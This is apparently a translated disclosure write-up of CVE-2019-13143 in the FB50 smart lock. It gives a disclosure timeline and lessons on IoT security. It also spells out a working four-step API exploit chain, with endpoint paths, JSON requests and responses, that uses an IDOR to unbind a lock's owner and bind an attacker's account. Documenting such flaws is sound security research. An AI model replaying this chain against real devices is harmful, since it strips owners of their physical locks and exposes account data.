撬开 FB50 智能锁 (CVE-2019-13143)
......以及物联网安全方面的经验教训
( 最初发布在 SecureLayer7的博客,我的编辑)
锁
有问题的锁具是由深圳龙兄科技有限公司生产的FB50智能锁。这种锁在许多电子商务网站上以多个品牌销售,估计有超过15k +用户。
锁通过蓝牙与手机配对,并需要Play / App Store中的OKLOK app才能正常运行。该应用程序要求用户在有更多功能可用之前创建帐户。它还帮助配置指纹,并通过蓝牙从一定范围解锁。
我们进行两个主要攻击 - 蓝牙(BLE)和Android应用。
通过蓝牙低功耗(BLE)
Android手机可以捕获蓝牙(HCI)流量,可以在“设置”下的“开发者选项”下启用。我们从Android手机中进行了大约4次“解锁”,如屏幕截图所示。
这是 Write
请求中发送的值:
我们尝试使用 gattool
和重放这些请求 gattacker
,但由于写入的值是加密的,因此没有成功。 1
通过Android应用程序
使用逆向应用程序 jd-gui
, apktool
和 dex2jar
没有让我们走得太远,因为大部分都被混淆了。当存在更简单的方法时,为什么还要麻烦--BurpSuite。
我们捕获并玩了一堆请求和响应,最终到达了一个有效的漏洞利用链。
利用
整个漏洞利用程序是一个包含经过身份验证的HTTP请求的4个步骤:
- 使用锁的MAC(通过附近的简单蓝牙扫描获得),获取条形码和锁ID
- 使用条形码,获取用户ID
- 使用锁ID和用户ID,取消锁定用户的绑定
- 提供新名称,攻击者的用户ID和MAC以将攻击者绑定到锁
这就是它的样子,实质上(个人信息编辑)。
请求1
POST /oklock/lock/queryDevice {"mac":"XX:XX:XX:XX:XX:XX"}
响应:
{ "result":{ "alarm":0, "barcode":"<BARCODE>", "chipType":"1", "createAt":"2019-05-14 09:32:23.0", "deviceId":"", "electricity":"95", "firmwareVersion":"2.3", "gsmVersion":"", "id":<LOCK ID>, "isLock":0, "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", "lockPwd":"000000", "mac":"XX:XX:XX:XX:XX:XX", "name":"lock", "radioName":"BlueFPL", "type":0 }, "status":"2000" }
请求2
POST /oklock/lock/getDeviceInfo {"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
响应:
"result":{ "account":"[email protected]", "alarm":0, "barcode":"<BARCODE>", "chipType":"1", "createAt":"2019-05-14 09:32:23.0", "deviceId":"", "electricity":"95", "firmwareVersion":"2.3", "gsmVersion":"", "id":<LOCK ID>, "isLock":0, "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95", "lockPwd":"000000", "mac":"XX:XX:XX:XX:XX:XX", "name":"lock", "radioName":"BlueFPL", "type":0, "userId":<USER ID> }
请求3
POST /oklock/lock/unbind {"lockId":"<LOCK ID>","userId":<USER ID>}
请求4
POST /oklock/lock/bind {"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
就这样!(可怕的东西)
您应该将锁转移到您的帐户。此问题的严重性在于原始所有者完全失去对其锁的访问权。他们甚至无法“重新绑定”以取回它,因为当前所有者(攻击者)需要授权。
除此之外,通过IDOR公开了大约15,000个用户帐户的信息。Ilja,我在Telegram遇到的一个很酷的家伙,注意到了名为“carlock”,“车库”,“MainDoor”等的锁 .2这太可怕了。
不寒而栗
概念证明
披露时间表
- 2019年6月26日:在Pune的SecureLayer7发现的问题
- 2019年6月27日:供应商通知了这个问题
- 2019年7月2日:保留CVE-2019-13143
- 供应商没有回复
- 2019年8月2日:公开披露
得到教训
不要。永远。购买。智能锁。使用“笨”钥匙的人会更好。随着物联网瘟疫的蔓延,它会给那些“不可撼动”的东西带来一个巨大的攻击面(尝试攻击一个“哑”的烤面包机)。
物联网安全场景充斥着十多年前的漏洞,如可执行堆栈段 3,硬编码密钥以及一般的糟糕开发实践。
我们现有的威胁模型和方案必须进行更新,以考虑这些新的开发可能性。这也拓宽了网络战和大规模监视活动的竞争环境。
研究员信息
这项研究是在 印第安纳州普纳的 SecureLayer7完成的:
- Anirudh Oppiliappan(我)
- S. Raghav Pillai( @_vologue)
- Shubham Chougule( @shubhamtc)